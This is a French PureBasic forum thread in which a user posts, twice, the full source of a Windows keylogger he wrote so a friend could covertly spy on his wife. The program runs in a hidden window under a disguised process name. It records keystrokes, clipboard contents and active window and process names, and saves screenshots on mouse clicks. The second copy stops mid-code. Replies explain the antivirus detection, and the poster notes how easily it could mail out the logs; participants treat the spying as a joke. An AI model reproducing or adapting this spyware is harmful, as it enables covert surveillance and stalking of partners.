Mon code détecté comme un malware pourquoi ?

Sujets variés concernant le développement en PureBasic
kwandjeen
Messages : 204
Inscription : dim. 16/juil./2006 21:44

Mon code détecté comme un malware pourquoi ?

Message par kwandjeen »

Bonjour j'ai fait un keylogger pour un ami (histoire de couple) il y a 1 an.

Et là en rangeant mes fichiers bitdefender m'a effacer le logiciel en disant qu'il s'agit d'un malware.

J'ai beau essayé de modifier le code c'est toujours pareil.

Je ne sais pas si je peux mettre le source car des abrutis de pirates pourraient s'en servir à mauvais escient ^^

Je bosse plus sur ce truc c'était juste pour info, sur quel critère se base t'il pour considérer que c'est un malware.

Je pensais que ça marchais avec une partie de code mais mon soft n'est normalement jamais paru nulle part.

Code : Tout sélectionner


#TH32CS_SNAPHEAPLIST = $1 
#TH32CS_SNAPPROCESS = $2 
#TH32CS_SNAPTHREAD = $4 
#TH32CS_SNAPMODULE = $8 
#TH32CS_SNAPALL = #TH32CS_SNAPHEAPLIST | #TH32CS_SNAPPROCESS | #TH32CS_SNAPTHREAD | #TH32CS_SNAPMODULE 
#TH32CS_INHERIT = $80000000 
#INVALID_HANDLE_VALUE = -1 
#MAX_PATH = 260 
#PROCESS32LIB = 9999 

Enumeration
  #click_souris
  #presse_papier
EndEnumeration
; Structure PROCESSENTRY32 
;     dwSize.l 
;     cntUsage.l 
;     th32ProcessID.l 
;     *th32DefaultHeapID.l 
;     th32ModuleID.l 
;     cntThreads.l 
;     th32ParentProcessID.l 
;     pcPriClassBase.l 
;     dwFlags.l 
;     szExeFile.b [#MAX_PATH] 
; EndStructure 

Global chaine$
Global poste.MSG
Global NewList Process32.PROCESSENTRY32 () 
Global nom_fenetre.s
Global nom_process.s
Global dossier_appli.s
Global hwnd
Global majuscule
Global verrou_num
Global presse_papier.s
Global nom_proclipboard.s
Global memo_presse.s
Global info_clipboard.s


;------ vérifie si le programme est déjà lancé pour ne pas le lancer 2 fois
mon_prog.s = "ms_win.exe" ; nom de mon appli a changer si je change le nom de compilation
compteur_prog = 0
Gosub GetProcessList
ForEach Process32 ()
  exe$ = GetFilePart (PeekS (@Process32 ()\szExeFile))
  If exe$ = mon_prog 
    compteur_prog+1
      If compteur_prog>1
        End
      EndIf 
  EndIf 
Next 
;*****************************************

UseJPEGImageEncoder()
OpenFile(1,"ini.ini")
  ini$ = ReadString(1) 
CloseFile(1)

ClearClipboard() ; reset du clipboard

If GetKeyState_(#VK_CAPITAL)=0 ; récupération de l'état du capslock
  majuscule = 0
Else
  majuscule = 1
EndIf 
If GetKeyState_(#VK_NUMLOCK)=0 ; récupération de l'état du numlock
  verrou_num = 0
Else
  verrou_num = 1
EndIf 
For r=0 To 255 : GetAsyncKeyState_(r) : Next ;prépare le buffer key

Procedure verif_dossier()
dossier_appli = GetCurrentDirectory()
If PathIsDirectory_(dossier_appli+"\shoot") = 0
  CreateDirectory(dossier_appli+"\shoot")
EndIf
If PathIsDirectory_(dossier_appli+"\texte") = 0
  CreateDirectory(dossier_appli+"\texte")
EndIf 
EndProcedure

Procedure.s FindWindowProcessName (window) 
    ResetList (Process32 ()) 
    While NextElement (Process32 ()) 
        GetWindowThreadProcessId_ (window, @pid) 
        If pid = Process32 ()\th32ProcessID 
            exe$ = GetFilePart (PeekS (@Process32 ()\szExeFile)) 
            LastElement (Process32 ()) 
        EndIf 
    Wend 
    ProcedureReturn exe$ 
EndProcedure 

Procedure ecriture_fichier(event.b)
Date$ = FormatDate("%dd/%mm/%yyyy", Date())
file_date$ = FormatDate("%dd_%mm_%yyyy",Date())
Time$ = FormatDate("%hh:%ii:%ss", Date())
OpenFile(0,dossier_appli+"texte\"+file_date$+".txt")
  FileSeek(0, Lof(0))         
  WriteStringN(0,"********************************************")
  WriteStringN(0,date$+" ----- "+time$)
  If event = #presse_papier 
    WriteStringN(0,"programme utilisant le presse-papier : "+nom_proclipboard)
  Else
    WriteStringN(0,"programme : "+nom_process)
  EndIf 
  WriteStringN(0,"Fenêtre   : "+nom_fenetre)
    If event = #click_souris Or event = #presse_papier
      compteur = 00000
      While PathFileExists_(dossier_appli+"shoot\"+file_date$+"_"+Str(compteur)+".jpg")
        compteur+1
      Wend
      SystemParametersInfo_(#SPI_GETWORKAREA, 0, @Taille_Ecran.RECT, 0) 
      Largeur_Ecran = Taille_Ecran\right - Taille_Ecran\left 
      Hauteur_Ecran = Taille_Ecran\bottom - Taille_Ecran\top 

      DC = GetDC_(0) ;en étant à 0 on retrouve le display de l'écran entier
      CreateImage(0, Largeur_Ecran, Hauteur_Ecran) 
      Dessin = StartDrawing(ImageOutput(0)) 
      BitBlt_(Dessin, 0, 0, Largeur_Ecran, Hauteur_Ecran,DC, Taille_Ecran\left, Taille_Ecran\top, #SRCPAINT) 
      StopDrawing() 
      ReleaseDC_(0, DC)
      SaveImage(0,dossier_appli+"shoot\"+file_date$+"_"+Str(compteur)+".jpg",#PB_ImagePlugin_JPEG)
      WriteStringN(0,"bouton gauche souris")
      WriteStringN(0,"screenshot : "+file_date$+"_"+Str(compteur)+".jpg")
    EndIf 
    
  If event = #presse_papier
    WriteStringN(0,info_clipboard)
    WriteStringN(0,"------ Contenu du presse-papier ------")
    WriteStringN(0,presse_papier)
  ElseIf chaine$<>"" 
    WriteStringN(0,"------------ message écrit -----------")
    WriteStringN(0,chaine$)
  EndIf 
  
  WriteStringN(0," ")

CloseFile(0)
EndProcedure

OpenWindow (0, #PB_Ignore, #PB_Ignore, 320, 200, "Test window",#PB_Window_Invisible) 
verif_dossier()
 
SetTimer_ (WindowID (0), 0, 20, 0) ;timer de vérification
boucle_process = 0
Repeat 
    Select WaitWindowEvent ()
        
        Case #WM_TIMER 
            If boucle_process <4
              boucle_process+1
            Else
              Gosub GetProcessList ; récup liste des process
              boucle_process = 0
            EndIf 
            hwnd = GetForegroundWindow_() ;récup de la fenetre au premier plan
            nom_fenetre = Space(255)
            GetWindowText_(hwnd,@nom_fenetre,255) ;récup du nom de la fenetre hwnd
            nom_process = FindWindowProcessName (hwnd) ;récup du nom process de la fenetre hwnd
            Gosub scan_clipboard
            Gosub scankey
         
            ;Debug nom_fenetre
            ;Debug nom_process
 
    EndSelect 
ForEver 

; ----------------------------------------------------------------------------- 
; Fin programme
; ----------------------------------------------------------------------------- 

End
;------ génération de la liste des process
GetProcessList: 

    ClearList (Process32 ()) 
    If OpenLibrary (#PROCESS32LIB, "kernel32.dll") 
        snap = CallFunction (#PROCESS32LIB, "CreateToolhelp32Snapshot", #TH32CS_SNAPPROCESS, 0) 

        If snap 
            Define.PROCESSENTRY32 Proc32 
            Proc32\dwSize = SizeOf (PROCESSENTRY32)             
            If CallFunction (#PROCESS32LIB, "Process32First", snap, @Proc32) 

                AddElement (Process32 ()) 
                CopyMemory (@Proc32, @Process32 (), SizeOf (PROCESSENTRY32)) 
                
                While CallFunction (#PROCESS32LIB, "Process32Next", snap, @Proc32) 
                    AddElement (Process32 ()) 
                    CopyMemory (@Proc32, @Process32 (), SizeOf (PROCESSENTRY32)) 
                Wend 
                
            EndIf    
            CloseHandle_ (snap)         
        EndIf 
        CloseLibrary (#PROCESS32LIB)         
    EndIf 
Return 

scankey :
;*************************************
;Pour checker une touche 2 solutions
; getasynckeystate_(touche) & $1
; getasynckeystate_(touche) = -32767
;*************************************

If GetAsyncKeyState_(#VK_LBUTTON)<0
  If ini$ = "continu"  
    ecriture_fichier(#click_souris)
    chaine$=""
  ElseIf chaine$<>""
    ecriture_fichier(#click_souris)
    chaine$=""
  EndIf 
EndIf

If GetAsyncKeyState_(#VK_RETURN)& $1 Or GetAsyncKeyState_(#VK_TAB)& $1
  If chaine$<>""
    ecriture_fichier(#TAB)    
    chaine$ = ""
  EndIf
EndIf

If GetAsyncKeyState_(#VK_CAPITAL)& $1 And down_capital = 0
  If majuscule = 0
    majuscule = 1
    ;Debug "majuscule"
  Else
    majuscule = 0
    ;Debug "minuscule"
  EndIf 
  down_capital = 1
ElseIf GetAsyncKeyState_(#VK_CAPITAL)>=0
  down_capital = 0
EndIf

If GetAsyncKeyState_(#VK_NUMLOCK)& $1 And down_verrou_num = 0
  If verrou_num = 0
    verrou_num = 1
    ;Debug "verrou_num"
  Else
    verrou_num = 0
    ;Debug "pas verrou"
  EndIf
  down_verrou_num = 1
ElseIf GetAsyncKeyState_(#VK_NUMLOCK)>=0
  down_verrou_num = 0
EndIf 

If GetAsyncKeyState_(#VK_BACK)& $1
  chaine$ =  Left(chaine$, Len(chaine$)-1)
EndIf 

If GetAsyncKeyState_(#VK_SPACE)& $1
  chaine$ = chaine$+" "
EndIf 

;-------gestion des charactères principaux
If GetAsyncKeyState_(#VK_LCONTROL)>=0 And GetAsyncKeyState_(#VK_RCONTROL)>=0
  If GetAsyncKeyState_(#VK_LSHIFT)& $1 Or majuscule = 1 Or GetAsyncKeyState_(#VK_RSHIFT)& $1
    If GetAsyncKeyState_(#VK_A)& $1
    chaine$ = chaine$+"A"
  EndIf
  If GetAsyncKeyState_(#VK_B)& $1
    chaine$ = chaine$+"B"
  EndIf
  If GetAsyncKeyState_(#VK_C)& $1
    chaine$ = chaine$+"C"
  EndIf
  If GetAsyncKeyState_(#VK_D)& $1
    chaine$ = chaine$+"D"
  EndIf
  If GetAsyncKeyState_(#VK_E)& $1
    chaine$ = chaine$+"E"
  EndIf
  If GetAsyncKeyState_(#VK_F)& $1
    chaine$ = chaine$+"F"
  EndIf
  If GetAsyncKeyState_(#VK_G)& $1
    chaine$ = chaine$+"G"
  EndIf
  If GetAsyncKeyState_(#VK_H)& $1
    chaine$ = chaine$+"H"
  EndIf
  If GetAsyncKeyState_(#VK_I)& $1
    chaine$ = chaine$+"I"
  EndIf
  If GetAsyncKeyState_(#VK_J)& $1
    chaine$ = chaine$+"J"
  EndIf
  If GetAsyncKeyState_(#VK_K)& $1
    chaine$ = chaine$+"K"
  EndIf
  
  If GetAsyncKeyState_(#VK_L)& $1
    chaine$ = chaine$+"L"
  EndIf
  If GetAsyncKeyState_(#VK_M)& $1
    chaine$ = chaine$+"M"
  EndIf
  If GetAsyncKeyState_(#VK_N)& $1
    chaine$ = chaine$+"N"
  EndIf
  If GetAsyncKeyState_(#VK_O)& $1
    chaine$ = chaine$+"O"
  EndIf
  If GetAsyncKeyState_(#VK_P)& $1
    chaine$ = chaine$+"P"
  EndIf
  If GetAsyncKeyState_(#VK_Q)& $1
    chaine$ = chaine$+"Q"
  EndIf
  If GetAsyncKeyState_(#VK_R)& $1
    chaine$ = chaine$+"R"
  EndIf
  If GetAsyncKeyState_(#VK_S)& $1
    chaine$ = chaine$+"S"
  EndIf
  If GetAsyncKeyState_(#VK_T)& $1
    chaine$ = chaine$+"T"
  EndIf
  If GetAsyncKeyState_(#VK_U)& $1
    chaine$ = chaine$+"U"
  EndIf
  If GetAsyncKeyState_(#VK_V)& $1
    chaine$ = chaine$+"V"
  EndIf
  If GetAsyncKeyState_(#VK_W)& $1
    chaine$ = chaine$+"W"
  EndIf
  If GetAsyncKeyState_(#VK_X)& $1
    chaine$ = chaine$+"X"
  EndIf
  If GetAsyncKeyState_(#VK_Y)& $1
    chaine$ = chaine$+"Y"
  EndIf
  If GetAsyncKeyState_(#VK_Z)& $1
    chaine$ = chaine$+"Z"
  EndIf
    If GetAsyncKeyState_(#VK_0)& $1
      chaine$ = chaine$+"0"
    EndIf
    If GetAsyncKeyState_(#VK_1)& $1
      chaine$ = chaine$+"1"
    EndIf
    If GetAsyncKeyState_(#VK_2)& $1
      chaine$ = chaine$+"2"
    EndIf
    If GetAsyncKeyState_(#VK_3)& $1
      chaine$ = chaine$+"3"
    EndIf
    If GetAsyncKeyState_(#VK_4)& $1
      chaine$ = chaine$+"4"
    EndIf
    If GetAsyncKeyState_(#VK_5)& $1
      chaine$ = chaine$+"5"
    EndIf
    If GetAsyncKeyState_(#VK_6)& $1
      chaine$ = chaine$+"6"
    EndIf
    If GetAsyncKeyState_(#VK_7)& $1
      chaine$ = chaine$+"7"
    EndIf
    If GetAsyncKeyState_(#VK_8)& $1
      chaine$ = chaine$+"8"
    EndIf
    If GetAsyncKeyState_(#VK_9)& $1
      chaine$ = chaine$+"9"
    EndIf
  Else
    If GetAsyncKeyState_(#VK_A)& $1
    chaine$ = chaine$+"a"
  EndIf
  If GetAsyncKeyState_(#VK_B)& $1
    chaine$ = chaine$+"b"
  EndIf
  If GetAsyncKeyState_(#VK_C)& $1
    chaine$ = chaine$+"c"
  EndIf
  If GetAsyncKeyState_(#VK_D)& $1
    chaine$ = chaine$+"d"
  EndIf
  If GetAsyncKeyState_(#VK_E)& $1
    chaine$ = chaine$+"e"
  EndIf
  If GetAsyncKeyState_(#VK_F)& $1
    chaine$ = chaine$+"f"
  EndIf
  If GetAsyncKeyState_(#VK_G)& $1
    chaine$ = chaine$+"g"
  EndIf
  If GetAsyncKeyState_(#VK_H)& $1
    chaine$ = chaine$+"h"
  EndIf
  If GetAsyncKeyState_(#VK_I)& $1
    chaine$ = chaine$+"i"
  EndIf
  If GetAsyncKeyState_(#VK_J)& $1
    chaine$ = chaine$+"j"
  EndIf
  If GetAsyncKeyState_(#VK_K)& $1
    chaine$ = chaine$+"k"
  EndIf
  
  If GetAsyncKeyState_(#VK_L)& $1
    chaine$ = chaine$+"l"
  EndIf
  If GetAsyncKeyState_(#VK_M)& $1
    chaine$ = chaine$+"m"
  EndIf
  If GetAsyncKeyState_(#VK_N)& $1
    chaine$ = chaine$+"n"
  EndIf
  If GetAsyncKeyState_(#VK_O)& $1
    chaine$ = chaine$+"o"
  EndIf
  If GetAsyncKeyState_(#VK_P)& $1
    chaine$ = chaine$+"p"
  EndIf
  If GetAsyncKeyState_(#VK_Q)& $1
    chaine$ = chaine$+"q"
  EndIf
  If GetAsyncKeyState_(#VK_R)& $1
    chaine$ = chaine$+"r"
  EndIf
  If GetAsyncKeyState_(#VK_S)& $1
    chaine$ = chaine$+"s"
  EndIf
  If GetAsyncKeyState_(#VK_T)& $1
    chaine$ = chaine$+"t"
  EndIf
  If GetAsyncKeyState_(#VK_U)& $1
    chaine$ = chaine$+"u"
  EndIf
  If GetAsyncKeyState_(#VK_V)& $1
    chaine$ = chaine$+"v"
  EndIf
  If GetAsyncKeyState_(#VK_W)& $1
    chaine$ = chaine$+"w"
  EndIf
  If GetAsyncKeyState_(#VK_X)& $1
    chaine$ = chaine$+"x"
  EndIf
  If GetAsyncKeyState_(#VK_Y)& $1
    chaine$ = chaine$+"y"
  EndIf
  If GetAsyncKeyState_(#VK_Z)& $1
    chaine$ = chaine$+"z"
  EndIf
  
    If GetAsyncKeyState_(#VK_0)& $1
      chaine$ = chaine$+"à"
    EndIf
    
    If GetAsyncKeyState_(#VK_1)& $1
      chaine$ = chaine$+"&"
    EndIf
    
    If GetAsyncKeyState_(#VK_2)& $1
      chaine$ = chaine$+"é"
    EndIf
    
    If GetAsyncKeyState_(#VK_3)& $1
      chaine$ = chaine$+Chr(34)
    EndIf
    
    If GetAsyncKeyState_(#VK_4)& $1
      chaine$ = chaine$+Chr(39)
    EndIf
    
    If GetAsyncKeyState_(#VK_5)& $1
      chaine$ = chaine$+Chr(40)
    EndIf
    
    If GetAsyncKeyState_(#VK_6)& $1
      chaine$ = chaine$+"-"
    EndIf
    
    If GetAsyncKeyState_(#VK_7)& $1
      chaine$ = chaine$+"è"
    EndIf
    
    If GetAsyncKeyState_(#VK_8)& $1
      chaine$ = chaine$+"_"
    EndIf
    
    If GetAsyncKeyState_(#VK_9)& $1
      chaine$ = chaine$+"ç"
    EndIf
  EndIf 
Else
  If GetAsyncKeyState_(#VK_V)& $1
    info_clipboard = "Collage du presse-papier"
    presse_papier = GetClipboardText()
    process_clipboard = GetClipboardOwner_() ; recherche process qui utilise le presse_papier
    nom_proclipboard = FindWindowProcessName (process_clipboard)
    ecriture_fichier(#presse_papier)
  EndIf

EndIf 

;--------gestion pad numérique
If verrou_num = 1
  If GetAsyncKeyState_(#VK_NUMPAD0)& $1
    chaine$ = chaine$+"0"
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD1)& $1
    chaine$ = chaine$+"1"
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD2)& $1
    chaine$ = chaine$+"2"
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD3)& $1
    chaine$ = chaine$+"3"
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD4)& $1
    chaine$ = chaine$+"4"
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD5)& $1
    chaine$ = chaine$+"5"
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD6)& $1
    chaine$ = chaine$+"6"
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD7)& $1 
    chaine$ = chaine$+"7"
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD8)& $1
    chaine$ = chaine$+"8"
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD9)& $1
    chaine$ = chaine$+"9"
  EndIf
EndIf 

Return

;------------scan presse papier
scan_clipboard:

presse_papier = GetClipboardText()

If presse_papier <> "" And presse_papier <> memo_presse
  info_clipboard = "Copie dans le presse-papier"
  process_clipboard = GetClipboardOwner_() ; recherche process qui utilise le presse_papier
  nom_proclipboard = FindWindowProcessName (process_clipboard)
  ecriture_fichier(#presse_papier)
  memo_presse = presse_papier
EndIf

Return
J'ai rien inventé ce ne sont que des bouts de codes récupérés à droite à gauche et quelques lecture de l'aide sur l'api.
Le Soldat Inconnu
Messages : 4312
Inscription : mer. 28/janv./2004 20:58
Localisation : Clermont ferrand OU Olsztyn
Contact :

Message par Le Soldat Inconnu »

c'est certainement à cause des GetAsyncKeyState_(
c'est une fonction qui permet de suivre les actions clavier, donc à un trojan d'enregistrer ce qu'on fait sur le pc
donc ton bitdefender à une heuristique toute pourrie, il détecte juste les programme qui utilise cette fonction et il dit : Malware

tu postes ton programme sur le site de l'éditeur pour qu'il corrige bitdefender par rapport à cette mauvaise détection

j'ai eu un souci de ce type avec un antivirus gratuit également, les gens qui téléchargeait mon programme venait raler en disant que je distribuais des trojans ....
Je ne suis pas à moitié Polonais mais ma moitié est polonaise ... Vous avez suivi ?

[Intel quad core Q9400 2.66mhz, ATI 4870, 4Go Ram, XP (x86) / 7 (x64)]
kwandjeen
Messages : 204
Inscription : dim. 16/juil./2006 21:44

Message par kwandjeen »

Ah ok merci pour l'info ^^
Le Soldat Inconnu
Messages : 4312
Inscription : mer. 28/janv./2004 20:58
Localisation : Clermont ferrand OU Olsztyn
Contact :

Message par Le Soldat Inconnu »

Enfin, qu'en je dis que c'est une fausse détection, ton programme fait quand même qlqchose relativement proche d'un trojan :)
Il n'est pas loin de la vérité.
La différence est que ton code ne communique pas sur internet ou sur le réseau.
Je ne suis pas à moitié Polonais mais ma moitié est polonaise ... Vous avez suivi ?

[Intel quad core Q9400 2.66mhz, ATI 4870, 4Go Ram, XP (x86) / 7 (x64)]
jbernard13
Messages : 1501
Inscription : dim. 18/avr./2004 15:04
Localisation : sud de la france

Message par jbernard13 »

quand Bitdefender 2009 est sorti( il ya 2 mois) , il y avait un bug qui plantait window , c'est ça corriger depuis ...
kwandjeen
Messages : 204
Inscription : dim. 16/juil./2006 21:44

Message par kwandjeen »

C'est sur que le principe est similaire puisque l'ami en question voulait espionner ça femme qui chater sur internet.

Il avait trouvé un logiciel à 29 euros si je me rapelle bien et pour ne pas dépensé, il m'a demandé si je pouvais faire un truc et j'ai trouvé le challenge interessant lol.

C'est pour ça que je voulais pas mettre le code parce qu'il est très facile de rajouter un "sendmail" pour recevoir les informations tapées au clavier pour en faire un vrai troyan.

EDIT : je tiens d'ailleurs à remercier le forum et la plupart d'entre vous pour toutes les infos que vous partagez.
LSi, nico, flype, dobro, brossden, djes et bien d'autre.
jbernard13
Messages : 1501
Inscription : dim. 18/avr./2004 15:04
Localisation : sud de la france

Message par jbernard13 »

Pourquoi sa femme le tromper?
Le Soldat Inconnu
Messages : 4312
Inscription : mer. 28/janv./2004 20:58
Localisation : Clermont ferrand OU Olsztyn
Contact :

Message par Le Soldat Inconnu »

Gros curieux !
Je ne suis pas à moitié Polonais mais ma moitié est polonaise ... Vous avez suivi ?

[Intel quad core Q9400 2.66mhz, ATI 4870, 4Go Ram, XP (x86) / 7 (x64)]
kwandjeen
Messages : 204
Inscription : dim. 16/juil./2006 21:44

Message par kwandjeen »

Disons que le logiciel a révélé pas mal de choses lol
Avatar de l’utilisateur
Ar-S
Messages : 9539
Inscription : dim. 09/oct./2005 16:51
Contact :

Message par Ar-S »

Moi j'ai fait pire une fois ^^
J'ai créé une fausse boite email sous le nom d'une Nana pour une copine. Ensuite cette copine prenait la fausse identité pour draguer son propre mec... Tordu hein !?
Il s'est avéré que c'était bien un sale con et elle l'a plaqué :P

Il est vrai que pb permet très facilement de creer des trojan like ou plutôt des key logger like. Ce n'est pas plus mal que les Anti-Virus détectent un danger.

Mon OptimiseXP par exemple permet de faire une simulation de vol via le net, on entre son mail et on reçoit les infos (serial xp etc...) que le soft à pu dérober sur son propre PC, ça permet de voir si son parefeu reagit.
En revanche là les antivirus ne voient rien. Si j'avais fait une version avec la même possibilité mais de façon transparente pour l'utilisateur, les Antivirus ne verraientt chipète !
~~~~Règles du forum ~~~~
⋅.˳˳.⋅ॱ˙˙ॱ⋅.˳Ar-S ˳.⋅ॱ˙˙ॱ⋅.˳˳.⋅
W11x64 PB 6.x
Section HORS SUJET : ICI
LDV MULTIMEDIA : Dépannage informatique & mes Logiciels PB
UPLOAD D'IMAGES : Uploader des images de vos logiciels
Avatar de l’utilisateur
Le psychopathe
Messages : 764
Inscription : jeu. 03/mars/2005 19:23

Message par Le psychopathe »

Par contre j'ai testé et cela ne prend pas les majuscules quand on appuie sur shift gauche ou droit ;) Il semblerait que l'api ne gère pas plus d'une touche appuyée.
kwandjeen
Messages : 204
Inscription : dim. 16/juil./2006 21:44

Message par kwandjeen »

Effectivement il y avait une condition dans chaque touche j'ai mis le mauvais code lol

Code : Tout sélectionner


#TH32CS_SNAPHEAPLIST = $1 
#TH32CS_SNAPPROCESS = $2 
#TH32CS_SNAPTHREAD = $4 
#TH32CS_SNAPMODULE = $8 
#TH32CS_SNAPALL = #TH32CS_SNAPHEAPLIST | #TH32CS_SNAPPROCESS | #TH32CS_SNAPTHREAD | #TH32CS_SNAPMODULE 
#TH32CS_INHERIT = $80000000 
#INVALID_HANDLE_VALUE = -1 
#MAX_PATH = 260 
#PROCESS32LIB = 9999 

Enumeration
  #click_souris
  #presse_papier
EndEnumeration
; Structure PROCESSENTRY32 
;     dwSize.l 
;     cntUsage.l 
;     th32ProcessID.l 
;     *th32DefaultHeapID.l 
;     th32ModuleID.l 
;     cntThreads.l 
;     th32ParentProcessID.l 
;     pcPriClassBase.l 
;     dwFlags.l 
;     szExeFile.b [#MAX_PATH] 
; EndStructure 

Global chaine$
Global poste.MSG
Global NewList Process32.PROCESSENTRY32 () 
Global nom_fenetre.s
Global nom_process.s
Global dossier_appli.s
Global hwnd
Global majuscule
Global verrou_num
Global presse_papier.s
Global nom_proclipboard.s
Global memo_presse.s
Global info_clipboard.s


;------ vérifie si le programme est déjà lancé pour ne pas le lancer 2 fois
mon_prog.s = "ms_win.exe" ; nom de mon appli a changer si je change le nom de compilation
compteur_prog = 0
Gosub GetProcessList
ForEach Process32 ()
  exe$ = GetFilePart (PeekS (@Process32 ()\szExeFile))
  If exe$ = mon_prog 
    compteur_prog+1
      If compteur_prog>1
        End
      EndIf 
  EndIf 
Next 
;*****************************************

UseJPEGImageEncoder()
OpenFile(1,"ini.ini")
  ini$ = ReadString(1) 
CloseFile(1)

ClearClipboard() ; reset du clipboard

If GetKeyState_(#VK_CAPITAL)=0 ; récupération de l'état du capslock
  majuscule = 0
Else
  majuscule = 1
EndIf 
If GetKeyState_(#VK_NUMLOCK)=0 ; récupération de l'état du numlock
  verrou_num = 0
Else
  verrou_num = 1
EndIf 

Procedure verif_dossier()
dossier_appli = GetCurrentDirectory()
If PathIsDirectory_(dossier_appli+"\shoot") = 0
  CreateDirectory(dossier_appli+"\shoot")
EndIf
If PathIsDirectory_(dossier_appli+"\texte") = 0
  CreateDirectory(dossier_appli+"\texte")
EndIf 
EndProcedure

Procedure.s FindWindowProcessName (window) 
    ResetList (Process32 ()) 
    While NextElement (Process32 ()) 
        GetWindowThreadProcessId_ (window, @pid) 
        If pid = Process32 ()\th32ProcessID 
            exe$ = GetFilePart (PeekS (@Process32 ()\szExeFile)) 
            LastElement (Process32 ()) 
        EndIf 
    Wend 
    ProcedureReturn exe$ 
EndProcedure 

Procedure ecriture_fichier(event.b)
Date$ = FormatDate("%dd/%mm/%yyyy", Date())
file_date$ = FormatDate("%dd_%mm_%yyyy",Date())
Time$ = FormatDate("%hh:%ii:%ss", Date())
OpenFile(0,dossier_appli+"texte\"+file_date$+".txt")
  FileSeek(0, Lof(0))         
  WriteStringN(0,"********************************************")
  WriteStringN(0,date$+" ----- "+time$)
  If event = #presse_papier 
    WriteStringN(0,"programme utilisant le presse-papier : "+nom_proclipboard)
  Else
    WriteStringN(0,"programme : "+nom_process)
  EndIf 
  WriteStringN(0,"Fenêtre   : "+nom_fenetre)
    If event = #click_souris Or event = #presse_papier
      compteur = 00000
      While PathFileExists_(dossier_appli+"shoot\"+file_date$+"_"+Str(compteur)+".jpg")
        compteur+1
      Wend
      SystemParametersInfo_(#SPI_GETWORKAREA, 0, @Taille_Ecran.RECT, 0) 
      Largeur_Ecran = Taille_Ecran\right - Taille_Ecran\left 
      Hauteur_Ecran = Taille_Ecran\bottom - Taille_Ecran\top 

      DC = GetDC_(0) 
      CreateImage(0, Largeur_Ecran, Hauteur_Ecran) 
      Dessin = StartDrawing(ImageOutput(0)) 
      BitBlt_(Dessin, 0, 0, Largeur_Ecran, Hauteur_Ecran, DC, Taille_Ecran\left, Taille_Ecran\top, #SRCPAINT) 
      StopDrawing() 
      ReleaseDC_(0, DC)
      SaveImage(0,dossier_appli+"shoot\"+file_date$+"_"+Str(compteur)+".jpg",#PB_ImagePlugin_JPEG)
      WriteStringN(0,"bouton gauche souris")
      WriteStringN(0,"screenshot : "+file_date$+"_"+Str(compteur)+".jpg")
    EndIf 
    
  If event = #presse_papier
    WriteStringN(0,info_clipboard)
    WriteStringN(0,"------ Contenu du presse-papier ------")
    WriteStringN(0,presse_papier)
  ElseIf chaine$<>"" 
    WriteStringN(0,"------------ message écrit -----------")
    WriteStringN(0,chaine$)
  EndIf 
  
  WriteStringN(0," ")

CloseFile(0)
EndProcedure

OpenWindow (0, #PB_Ignore, #PB_Ignore, 320, 200, "Test window",#PB_Window_Invisible) 
verif_dossier()
 
SetTimer_ (WindowID (0), 0, 20, 0) ;timer de vérification
boucle_process = 0
Repeat 
    Select WaitWindowEvent ()
        
        Case #WM_TIMER 
            If boucle_process <4
              boucle_process+1
            Else
              Gosub GetProcessList ; récup liste des process
              boucle_process = 0
            EndIf 
            hwnd = GetForegroundWindow_() ;récup de la fenetre au premier plan
            nom_fenetre = Space(255)
            GetWindowText_(hwnd,@nom_fenetre,255) ;récup du nom de la fenetre hwnd
            nom_process = FindWindowProcessName (hwnd) ;récup du nom process de la fenetre hwnd
            Gosub scan_clipboard
            Gosub scankey
         
            ;Debug nom_fenetre
            ;Debug nom_process
 
    EndSelect 
ForEver 

; ----------------------------------------------------------------------------- 
; Fin programme
; ----------------------------------------------------------------------------- 

End
;------ génération de la liste des process
GetProcessList: 

    ClearList (Process32 ()) 
    If OpenLibrary (#PROCESS32LIB, "kernel32.dll") 
        snap = CallFunction (#PROCESS32LIB, "CreateToolhelp32Snapshot", #TH32CS_SNAPPROCESS, 0) 

        If snap 
            Define.PROCESSENTRY32 Proc32 
            Proc32\dwSize = SizeOf (PROCESSENTRY32)             
            If CallFunction (#PROCESS32LIB, "Process32First", snap, @Proc32) 

                AddElement (Process32 ()) 
                CopyMemory (@Proc32, @Process32 (), SizeOf (PROCESSENTRY32)) 
                
                While CallFunction (#PROCESS32LIB, "Process32Next", snap, @Proc32) 
                    AddElement (Process32 ()) 
                    CopyMemory (@Proc32, @Process32 (), SizeOf (PROCESSENTRY32)) 
                Wend 
                
            EndIf    
            CloseHandle_ (snap)         
        EndIf 
        CloseLibrary (#PROCESS32LIB)         
    EndIf 
Return 

scankey :

If GetAsyncKeyState_(#VK_LBUTTON)<0
  If ini$ = "continu"  
    ecriture_fichier(#click_souris)
    chaine$=""
  ElseIf chaine$<>""
    ecriture_fichier(#click_souris)
    chaine$=""
  EndIf 
EndIf

If GetAsyncKeyState_(#VK_RETURN)<0 Or GetAsyncKeyState_(#VK_TAB)<0
  If chaine$<>""
    ecriture_fichier(#TAB)    
    chaine$ = ""
  EndIf
EndIf

If GetAsyncKeyState_(#VK_CAPITAL)<0 And down_capital = 0
  If majuscule = 0
    majuscule = 1
    ;Debug "majuscule"
  Else
    majuscule = 0
    ;Debug "minuscule"
  EndIf 
  down_capital = 1
ElseIf GetAsyncKeyState_(#VK_CAPITAL)>=0
  down_capital = 0
EndIf

If GetAsyncKeyState_(#VK_NUMLOCK)<0 And down_verrou_num = 0
  If verrou_num = 0
    verrou_num = 1
    ;Debug "verrou_num"
  Else
    verrou_num = 0
    ;Debug "pas verrou"
  EndIf
  down_verrou_num = 1
ElseIf GetAsyncKeyState_(#VK_NUMLOCK)>=0
  down_verrou_num = 0
EndIf 

If GetAsyncKeyState_(#VK_BACK)<0
  chaine$ =  Left(chaine$, Len(chaine$)-1)
EndIf 

If GetAsyncKeyState_(#VK_SPACE)<0
  chaine$ = chaine$+" "
EndIf 

;-------gestion des charactères principaux
If GetAsyncKeyState_(#VK_LCONTROL)>=0 And GetAsyncKeyState_(#VK_RCONTROL)>=0
